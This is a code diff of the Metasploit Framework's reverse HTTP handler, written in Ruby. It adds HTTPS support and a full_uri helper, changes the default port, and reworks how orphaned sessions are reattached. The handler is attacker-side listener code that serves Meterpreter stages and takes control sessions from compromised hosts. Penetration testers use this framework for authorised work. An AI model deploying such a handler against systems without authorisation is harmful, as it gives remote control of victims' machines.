@@ -15,8 +15,7 @@ module ReverseHttp
15
15
include Msf ::Handler
16
16
17
17
#
18
- # Returns the string representation of the handler type, in this case
19
- # 'reverse_http'.
18
+ # Returns the string representation of the handler type
20
19
#
21
20
def self . handler_type
22
21
return "reverse_http"
@@ -41,13 +40,66 @@ def self.general_handler_type
41
40
#
42
41
# Precalculated checkums as fallback
43
42
#
44
- URI_CHECKSUM_PRECALC = [ "Zjjaq" , "pIlfv" , "UvoxP" , "sqnx9" , "zvoVO" , "Pajqy" , "7ziuw" , "vecYp" , "yfHsn" , "YLzzp" , "cEzvr" , "abmri" , "9tvwr" , "vTarp" , "ocrgc" , "mZcyl" , "xfcje" , "nihqa" , "40F17" , "zzTWt" , "E3192" , "wygVh" , "pbqij" , "rxdVs" , "ajtsf" , "wvuOh" , "hwRwr" , "pUots" , "rvzoK" , "vUwby" , "tLzyk" , "zxbuV" , "niaoy" , "ukxtU" , "vznoU" , "zuxyC" , "ymvag" , "Jxtxw" , "404KC" , "DE563" , "0A7G9" , "yorYv" , "zzuqP" , "czhwo" , "949N8" , "a1560" , "5A2S3" , "Q652A" , "KR201" , "uixtg" , "U0K02" , "4EO56" , "H88H4" , "5M8E6" , "zudkx" , "ywlsh" , "luqmy" , "09S4I" , "L0GG0" , "V916E" , "KFI11" , "A4BN8" , "C3E2Q" , "UN804" , "E75HG" , "622eB" , "1OZ71" , "kynyx" , "0RE7F" , "F8CR2" , "1Q2EM" , "txzjw" , "5KD1S" , "GLR40" , "11BbD" , "MR8B2" , "X4V55" , "W994P" , "13d2T" , "6J4AZ" , "HD2EM" , "766bL" , "8S4MF" , "MBX39" , "UJI57" , "eIA51" , "9CZN2" , "WH6AA" , "a6BF9" , "8B1Gg" , "J2N6Z" , "144Kw" , "7E37v" , "9I7RR" , "PE6MF" , "K0c4M" , "LR3IF" , "38p3S" , "39ab3" , "O0dO1" , "k8H8A" , "0Fz3B" , "o1PE1" , "h7OI0" , "C1COb" , "bMC6A" , "8fU4C" , "3IMSO" , "8DbFH" , "2YfG5" , "bEQ1E" , "MU6NI" , "UCENE" , "WBc0E" , "T1ATX" , "tBL0A" , "UGPV2" , "j3CLI" , "7FXp1" , "yN07I" , "YE6k9" , "KTMHE" , "a7VBJ" , "0Uq3R" , "70Ebn" , "H2PqB" , "83edJ" , "0w5q2" , "72djI" , "wA5CQ" , "KF0Ix" , "i7AZH" , "M9tU5" , "Hs3RE" , "F9m1i" , "7ecBF" , "zS31W" , "lUe21" , "IvCS5" , "j97nC" , "CNtR5" , "1g8gV" , "7KwNG" , "DB7hj" , "ORFr7" , "GCnUD" , "K58jp" , "5lKo8" , "GPIdP" , "oMIFJ" , "2xYb1" , "LQQPY" , "FGQlN" , "l5COf" , "dA3Tn" , "v9RWC" , "VuAGI" , "3vIr9" , "aO3zA" , "CIfx5" , "Gk6Uc" , "pxL94" , "rKYJB" , "TXAFp" , "XEOGq" , "aBOiJ" , "qp6EJ" , "YGbq4" , "dR8Rh" , "g0SVi" , "iMr6L" , "HMaIl" , "yOY1Z" , "UXr5Y" , "PJdz6" , "OQdt7" , "EmZ1s" , "aLIVe" , "cIeo2" , "mTTNP" , "eVKy5" , "hf5Co" , "gFHzG" , "VhTWN" , "DvAWf" , "RgFJp" , "MoaXE" , "Mrq4W" , "hRQAp" , "hAzYA" , "oOSWV" , "UKMme" , "oP0Zw" , "Mxd6b" , "RsRCh" , "dlk7Q" , "YU6zf" , "VPDjq" , "ygERO" , "dZZcL" , "dq5qM" , "LITku" , "AZIxn" , "bVwPL" , "jGvZK" , "XayKP" , "rTYVY" , "Vo2ph" , "dwJYR" , "rLTlS" , "BmsfJ" , "Dyv1o" , "j9Hvs" , "w0wVa" , "iDnBy" , "uKEgk" , "uosI8" , "2yjuO" , "HiOue" , "qYi4t" , "7nalj" , "ENekz" , "rxca0" , "rrePF" , "cXmtD" , "Xlr2y" , "S7uxk" , "wJqaP" , "KmYyZ" , "cPryG" , "kYcwH" , "FtDut" , "xm1em" , "IaymY" , "fr6ew" , "ixDSs" , "YigPs" , "PqwBs" , "y2rkf" , "vwaTM" , "aq7wp" , "fzc4z" , "AyzmQ" , "epJbr" , "culLd" , "CVtnz" , "tPjPx" , "nfry8" , "Nkpif" , "8kuzg" , "zXvz8" , "oVQly" , "1vpnw" , "jqaYh" , "2tztj" , "4tslx" ]
43
+ URI_CHECKSUM_PRECALC = [
44
+ "Zjjaq" , "pIlfv" , "UvoxP" , "sqnx9" , "zvoVO" , "Pajqy" , "7ziuw" , "vecYp" , "yfHsn" , "YLzzp" ,
45
+ "cEzvr" , "abmri" , "9tvwr" , "vTarp" , "ocrgc" , "mZcyl" , "xfcje" , "nihqa" , "40F17" , "zzTWt" ,
46
+ "E3192" , "wygVh" , "pbqij" , "rxdVs" , "ajtsf" , "wvuOh" , "hwRwr" , "pUots" , "rvzoK" , "vUwby" ,
47
+ "tLzyk" , "zxbuV" , "niaoy" , "ukxtU" , "vznoU" , "zuxyC" , "ymvag" , "Jxtxw" , "404KC" , "DE563" ,
48
+ "0A7G9" , "yorYv" , "zzuqP" , "czhwo" , "949N8" , "a1560" , "5A2S3" , "Q652A" , "KR201" , "uixtg" ,
49
+ "U0K02" , "4EO56" , "H88H4" , "5M8E6" , "zudkx" , "ywlsh" , "luqmy" , "09S4I" , "L0GG0" , "V916E" ,
50
+ "KFI11" , "A4BN8" , "C3E2Q" , "UN804" , "E75HG" , "622eB" , "1OZ71" , "kynyx" , "0RE7F" , "F8CR2" ,
51
+ "1Q2EM" , "txzjw" , "5KD1S" , "GLR40" , "11BbD" , "MR8B2" , "X4V55" , "W994P" , "13d2T" , "6J4AZ" ,
52
+ "HD2EM" , "766bL" , "8S4MF" , "MBX39" , "UJI57" , "eIA51" , "9CZN2" , "WH6AA" , "a6BF9" , "8B1Gg" ,
53
+ "J2N6Z" , "144Kw" , "7E37v" , "9I7RR" , "PE6MF" , "K0c4M" , "LR3IF" , "38p3S" , "39ab3" , "O0dO1" ,
54
+ "k8H8A" , "0Fz3B" , "o1PE1" , "h7OI0" , "C1COb" , "bMC6A" , "8fU4C" , "3IMSO" , "8DbFH" , "2YfG5" ,
55
+ "bEQ1E" , "MU6NI" , "UCENE" , "WBc0E" , "T1ATX" , "tBL0A" , "UGPV2" , "j3CLI" , "7FXp1" , "yN07I" ,
56
+ "YE6k9" , "KTMHE" , "a7VBJ" , "0Uq3R" , "70Ebn" , "H2PqB" , "83edJ" , "0w5q2" , "72djI" , "wA5CQ" ,
57
+ "KF0Ix" , "i7AZH" , "M9tU5" , "Hs3RE" , "F9m1i" , "7ecBF" , "zS31W" , "lUe21" , "IvCS5" , "j97nC" ,
58
+ "CNtR5" , "1g8gV" , "7KwNG" , "DB7hj" , "ORFr7" , "GCnUD" , "K58jp" , "5lKo8" , "GPIdP" , "oMIFJ" ,
59
+ "2xYb1" , "LQQPY" , "FGQlN" , "l5COf" , "dA3Tn" , "v9RWC" , "VuAGI" , "3vIr9" , "aO3zA" , "CIfx5" ,
60
+ "Gk6Uc" , "pxL94" , "rKYJB" , "TXAFp" , "XEOGq" , "aBOiJ" , "qp6EJ" , "YGbq4" , "dR8Rh" , "g0SVi" ,
61
+ "iMr6L" , "HMaIl" , "yOY1Z" , "UXr5Y" , "PJdz6" , "OQdt7" , "EmZ1s" , "aLIVe" , "cIeo2" , "mTTNP" ,
62
+ "eVKy5" , "hf5Co" , "gFHzG" , "VhTWN" , "DvAWf" , "RgFJp" , "MoaXE" , "Mrq4W" , "hRQAp" , "hAzYA" ,
63
+ "oOSWV" , "UKMme" , "oP0Zw" , "Mxd6b" , "RsRCh" , "dlk7Q" , "YU6zf" , "VPDjq" , "ygERO" , "dZZcL" ,
64
+ "dq5qM" , "LITku" , "AZIxn" , "bVwPL" , "jGvZK" , "XayKP" , "rTYVY" , "Vo2ph" , "dwJYR" , "rLTlS" ,
65
+ "BmsfJ" , "Dyv1o" , "j9Hvs" , "w0wVa" , "iDnBy" , "uKEgk" , "uosI8" , "2yjuO" , "HiOue" , "qYi4t" ,
66
+ "7nalj" , "ENekz" , "rxca0" , "rrePF" , "cXmtD" , "Xlr2y" , "S7uxk" , "wJqaP" , "KmYyZ" , "cPryG" ,
67
+ "kYcwH" , "FtDut" , "xm1em" , "IaymY" , "fr6ew" , "ixDSs" , "YigPs" , "PqwBs" , "y2rkf" , "vwaTM" ,
68
+ "aq7wp" , "fzc4z" , "AyzmQ" , "epJbr" , "culLd" , "CVtnz" , "tPjPx" , "nfry8" , "Nkpif" , "8kuzg" ,
69
+ "zXvz8" , "oVQly" , "1vpnw" , "jqaYh" , "2tztj" , "4tslx"
70
+ ]
71
+
72
+ #
73
+ # Use the +refname+ to determine whether this handler uses SSL or not
74
+ #
75
+ def ssl?
76
+ !!( self . refname . index ( "https" ) )
77
+ end
78
+
79
+ #
80
+ # Return a URI of the form scheme://host:port/
81
+ #
82
+ # Scheme is one of http or https and host is properly wrapped in [] for ipv6
83
+ # addresses.
84
+ #
85
+ def full_uri
86
+ lhost = datastore [ 'LHOST' ]
87
+ if lhost . empty? or lhost == "0.0.0.0" or lhost == "::"
88
+ lhost = Rex ::Socket . source_address
89
+ end
90
+ lhost = "[#{ lhost } ]" if Rex ::Socket . is_ipv6? ( lhost )
91
+ scheme = ( ssl? ) ? "https" : "http"
92
+ uri = "#{ scheme } ://#{ lhost } :#{ datastore [ "LPORT" ] } /"
93
+
94
+ uri
95
+ end
45
96
46
97
#
47
98
# Map "random" URIs to static strings, allowing us to randomize
48
99
# the URI sent in the first request.
49
100
#
50
101
def process_uri_resource ( uri_match )
102
+
51
103
# This allows 'random' strings to be used as markers for
52
104
# the INIT and CONN request types, based on a checksum
53
105
uri_strip , uri_conn = uri_match . split ( '_' , 2 )
@@ -92,7 +144,7 @@ def initialize(info = {})
92
144
register_options (
93
145
[
94
146
OptString . new ( 'LHOST' , [ true , "The local listener hostname" ] ) ,
95
- OptPort . new ( 'LPORT' , [ true , "The local listener port" , 8443 ] )
147
+ OptPort . new ( 'LPORT' , [ true , "The local listener port" , 8080 ] )
96
148
] , Msf ::Handler ::ReverseHttp )
97
149
98
150
register_advanced_options (
@@ -113,7 +165,7 @@ def ipv6
113
165
end
114
166
115
167
#
116
- # Create a HTTP listener
168
+ # Create an HTTP listener
117
169
#
118
170
def setup_handler
119
171
@@ -128,14 +180,15 @@ def setup_handler
128
180
self . service = Rex ::ServiceManager . start ( Rex ::Proto ::Http ::Server ,
129
181
datastore [ 'LPORT' ] . to_i ,
130
182
ipv6 ? '::' : '0.0.0.0' ,
131
- false ,
183
+ ssl? ,
132
184
{
133
185
'Msf' => framework ,
134
186
'MsfExploit' => self ,
135
187
} ,
136
- comm
188
+ comm ,
189
+ ( ssl? ) ? datastore [ "SSLCert" ] : nil
137
190
)
138
-
191
+
139
192
self . service . server_name = datastore [ 'MeterpreterServerName' ]
140
193
141
194
# Create a reference to ourselves
@@ -148,8 +201,7 @@ def setup_handler
148
201
} ,
149
202
'VirtualDirectory' => true )
150
203
151
- self . conn_ids = [ ]
152
- print_status ( "Started HTTP reverse handler on http://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'LPORT' ] } /" )
204
+ print_status ( "Started HTTP#{ ssl? ? "S" : "" } reverse handler on #{ full_uri } " )
153
205
end
154
206
155
207
#
@@ -175,7 +227,6 @@ def stop_handler
175
227
end
176
228
177
229
attr_accessor :service # :nodoc:
178
- attr_accessor :conn_ids
179
230
180
231
protected
181
232
@@ -188,26 +239,13 @@ def on_request(cli, req, obj)
188
239
189
240
print_status ( "#{ cli . peerhost } :#{ cli . peerport } Request received for #{ req . relative_resource } ..." )
190
241
191
-
192
- lhost = datastore [ 'LHOST' ]
193
-
194
- # Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
195
- if lhost . empty? or lhost == '0.0.0.0'
196
- lhost = Rex ::Socket . source_address ( cli . peerhost )
197
- end
198
-
199
- lhost = "[#{ lhost } ]" if Rex ::Socket . is_ipv6? ( lhost )
200
-
201
242
uri_match = process_uri_resource ( req . relative_resource )
202
243
203
244
# Process the requested resource.
204
245
case uri_match
205
246
when /^\/ INITJM/
206
- print_line ( "Java: #{ req . relative_resource } " )
207
-
208
247
conn_id = generate_uri_checksum ( URI_CHECKSUM_CONN ) + "_" + Rex ::Text . rand_text_alphanumeric ( 16 )
209
- url = "http://#{ lhost } :#{ datastore [ 'LPORT' ] } /" + conn_id + "/\x00 "
210
- print_line "URL: #{ url . inspect } "
248
+ url = full_uri + conn_id + "/\x00 "
211
249
212
250
blob = ""
213
251
blob << obj . generate_stage
@@ -222,7 +260,6 @@ def on_request(cli, req, obj)
222
260
blob << [ packet . length +8 , 0 ] . pack ( 'NN' ) + packet
223
261
224
262
resp . body = blob
225
- conn_ids << conn_id
226
263
227
264
# Short-circuit the payload's handle_connection processing for create_session
228
265
create_session ( cli , {
@@ -231,11 +268,10 @@ def on_request(cli, req, obj)
231
268
:url => url ,
232
269
:expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
233
270
:comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
234
- :ssl => false
271
+ :ssl => ssl?
235
272
} )
236
273
237
274
when /^\/ A?INITM?/
238
- print_line ( "Win32: #{ req . relative_resource } " )
239
275
240
276
url = ''
241
277
@@ -251,19 +287,19 @@ def on_request(cli, req, obj)
251
287
blob [ i , str . length ] = str
252
288
print_status ( "Patched user-agent at offset #{ i } ..." )
253
289
end
254
-
290
+
255
291
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
256
292
i = blob . index ( "METERPRETER_TRANSPORT_SSL" )
257
293
if i
258
- str = "METERPRETER_TRANSPORT_HTTP\x00 "
294
+ str = "METERPRETER_TRANSPORT_HTTP#{ ssl? ? "S" : "" } \x00 "
259
295
blob [ i , str . length ] = str
260
296
end
261
297
print_status ( "Patched transport at offset #{ i } ..." )
262
298
263
299
conn_id = generate_uri_checksum ( URI_CHECKSUM_CONN ) + "_" + Rex ::Text . rand_text_alphanumeric ( 16 )
264
300
i = blob . index ( "https://" + ( "X" * 256 ) )
265
301
if i
266
- url = "http:// #{ lhost } : #{ datastore [ 'LPORT' ] } /" + conn_id + "/\x00 "
302
+ url = full_uri + conn_id + "/\x00 "
267
303
blob [ i , url . length ] = url
268
304
end
269
305
print_status ( "Patched URL at offset #{ i } ..." )
@@ -275,7 +311,6 @@ def on_request(cli, req, obj)
275
311
end
276
312
print_status ( "Patched Expiration Timeout at offset #{ i } ..." )
277
313
278
-
279
314
i = blob . index ( [ 0xaf79257f ] . pack ( "V" ) )
280
315
if i
281
316
str = [ datastore [ 'SessionCommunicationTimeout' ] ] . pack ( "V" )
@@ -285,36 +320,33 @@ def on_request(cli, req, obj)
285
320
286
321
resp . body = blob
287
322
288
- conn_ids << conn_id
289
-
290
323
# Short-circuit the payload's handle_connection processing for create_session
291
324
create_session ( cli , {
292
325
:passive_dispatcher => obj . service ,
293
326
:conn_id => conn_id ,
294
327
:url => url ,
295
328
:expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
296
329
:comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
297
- :ssl => false
330
+ :ssl => ssl? ,
298
331
} )
299
- when /^\/ (CONN_.*)\/ /
332
+
333
+ when /^\/ CONN_.*\/ /
300
334
resp . body = ""
301
- conn_id = $1
302
- print_line ( "Received poll from #{ conn_id } " )
303
-
304
- if not self . conn_ids . include? ( conn_id )
305
- print_status ( "Incoming orphaned session #{ conn_id } , reattaching..." )
306
- conn_ids << conn_id
307
-
308
- # Short-circuit the payload's handle_connection processing for create_session
309
- create_session ( cli , {
310
- :passive_dispatcher => obj . service ,
311
- :conn_id => conn_id ,
312
- :url => url ,
313
- :expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
314
- :comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
315
- :ssl => false
316
- } )
317
- end
335
+ # Grab the checksummed version of CONN from the payload's request.
336
+ conn_id = req . relative_resource . gsub ( "/" , "" )
337
+
338
+ print_status ( "Incoming orphaned session #{ conn_id } , reattaching..." )
339
+
340
+ # Short-circuit the payload's handle_connection processing for create_session
341
+ create_session ( cli , {
342
+ :passive_dispatcher => obj . service ,
343
+ :conn_id => conn_id ,
344
+ :url => full_uri + conn_id + "/\x00 " ,
345
+ :expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
346
+ :comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
347
+ :ssl => ssl? ,
348
+ } )
349
+
318
350
else
319
351
print_status ( "#{ cli . peerhost } :#{ cli . peerport } Unknown request to #{ uri_match } #{ req . inspect } ..." )
320
352
resp . code = 200
@@ -333,3 +365,4 @@ def on_request(cli, req, obj)
333
365
334
366
end
335
367
end
368
+
0 commit comments